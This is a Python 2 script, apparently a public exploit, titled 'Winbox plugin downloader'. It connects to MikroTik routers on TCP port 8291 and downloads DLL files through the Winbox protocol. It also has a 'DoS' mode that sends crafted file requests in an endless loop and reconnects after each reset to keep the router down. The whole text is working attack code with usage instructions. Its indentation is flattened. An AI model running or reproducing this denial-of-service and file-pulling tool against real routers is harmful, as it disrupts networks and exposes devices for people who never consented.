import socket, sys, os, struct, random, time
def InitConnection(mikrotikIP, speed):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((mikrotikIP, 8291))
s.send(winboxStartingIndex)
data = s.recv(1024)
time.sleep(0.001*speed)
if data.find("\xFF\x02"+"index"+"\x00") > -1:
print "[+] Index received!"
else:
print "[+] Wrong index.. Exiting.."
sys.exit(0)
return s
def download(filename, speed, s):
f = open(filename, 'wb')
if len(filename) < 13 and len(filename) > 6:
print "[+] Requesting file ", filename, ' <->'
winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
s.send(winboxStartingFileReq)
time.sleep(0.001*speed)
dataReceived = s.recv(1)
if dataReceived[0:1]=='\xFF':
print "[+] Receiving the file..."
f.write(dataReceived)
time.sleep(0.001*speed)
dataReceived = s.recv(0x101)
nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
if dataReceived[0:1]=='\x02':
time.sleep(0.001*speed)
f.write(dataReceived)
dataReceived = s.recv(0x102)
bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
f.write(dataReceived)
else:
print "[-] Wrong data received..(2)"
sys.exit(0)
else:
print "[-] Wrong data received..(1)"
sys.exit(0)
finalPart=0
bigFileCounter = 0xFFED
packetsCounted=0
fileRequested=0
while 1:
packetsCounted+=1
time.sleep(0.001*speed)
dataReceived = s.recv(bytesToRead)
f.write(dataReceived)
if (bytesToRead <> len(dataReceived)) and packetsCounted==255:
packetsCounted = -1
print '[+] Next file part : ', fileRequested
s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) + struct.pack('>h',bigFileCounter))
time.sleep(0.001*speed)
dataReceived = s.recv(0x101 + 2)
nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
f.write(dataReceived)
bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)
fileRequested += 1
bigFileCounter -= 0x13
bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)
if bytesToRead==0xFF:
bytesToRead += 2
if bytesToRead != 0x101 and nextPartFingerprint < 65517:
time.sleep(0.001*speed)
dataReceived = s.recv(bytesToRead)
f.write(dataReceived)
break
if bytesToRead != 0x101 and nextPartFingerprint==65517:
print '[-] File download terminated abnormaly.. please try again probably with a slower speed..'
sys.exit(0)
if fileRequested < 1: print '[+] File was small and was downloaded in one part\n[+] Downloaded successfully'
else: print '[+] File '+filename+' downloaded successfully'
f.close()
s.close()
def Flood(s):
filename = 'roteros.dll'
f = 'we\'r not gonna use I/O to store the data'
print "[+] Requesting file ", filename, ' till death :)'
time.sleep(1)
winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
s.send(winboxStartingFileReq)
time.sleep(0.001)
dataReceived = s.recv(1)
if dataReceived[0:1]=='\xFF':
f = dataReceived
time.sleep(0.001)
dataReceived = s.recv(0x101)
nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
if dataReceived[0:1]=='\x02':
time.sleep(0.001)
f = dataReceived
dataReceived = s.recv(0x102)
bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
f = dataReceived
else:
print "[-] Wrong data received..(2)"
sys.exit(0)
else:
print "[-] Wrong data received..(1)"
sys.exit(0)
finalPart=0
bigFileCounter = 0xFFED
packetsCounted=0
fileRequested=0
try:
while 1:
s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) + struct.pack('>h',bigFileCounter))
s.recv(1)
print '- Sending evil packet.. press CTRL-C to stop -'
except:
print 'Connection reseted by server.. trying attacking again'
global RequestHeader
RequestHeader = ('\x12\x02')
global RequestFirstFooter
RequestFirstFooter = ('\xFF\xED\x00\x00\x00\x00')
global winboxStartingIndex
winboxStartingIndex=(RequestHeader + 'index' + '\x00'*7 + RequestFirstFooter)
winboxStartingFileReq=(RequestHeader + '\x00'*12 + RequestFirstFooter)
print '\n[Winbox plugin downloader]\n\n'
if len(sys.argv)==3:
if sys.argv[2]=='DoS':
print '[+] Hmmm we gonna attack it..'
time.sleep(1)
speed=1
mikrotikIP = sys.argv[1]
filename = sys.argv[2]
while 1:
time.sleep(1)
try:
s = InitConnection(mikrotikIP, speed)
Flood(s)
except:
time.sleep(1)
if len(sys.argv)<>4:
print 'Usage : '+sys.argv[0]+' <mikrotik_ip> <filename_to_download> <speed>\n\t<speed>:\t [from 0 to 9] 1=faster, 9=slower but more reliable\n'
sys.exit(0)
mikrotikIP = sys.argv[1]
filename = sys.argv[2]
speed = int(sys.argv[3])
if speed>9 or speed<1:
print 'Speed must be between 1 and 9 else there are unexpected results!'
sys.exit(0)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((mikrotikIP, 8291))
s.send(winboxStartingIndex)
data = s.recv(1024)
s.close()
if filename.find('*') > -1:
DllList = data.split('\x0a')
print 'Mikrotik\'s version is '+DllList[1].split(' ')[3]+'\nThe following Dlls gonna be requested :'
for i in range(0, len(DllList)-1):
print DllList[i].split(' ')[2]
raw_input('> Press enter to continue <')
for extractedDlls in range(0, len(DllList)-1):
print "[+] Requesting ", DllList[extractedDlls].split(' ')[2]
filename=DllList[extractedDlls].split(' ')[2]
s = InitConnection(mikrotikIP, speed)
download(filename, speed, s)
else:
s = InitConnection(mikrotikIP, speed)
download(filename, speed, s)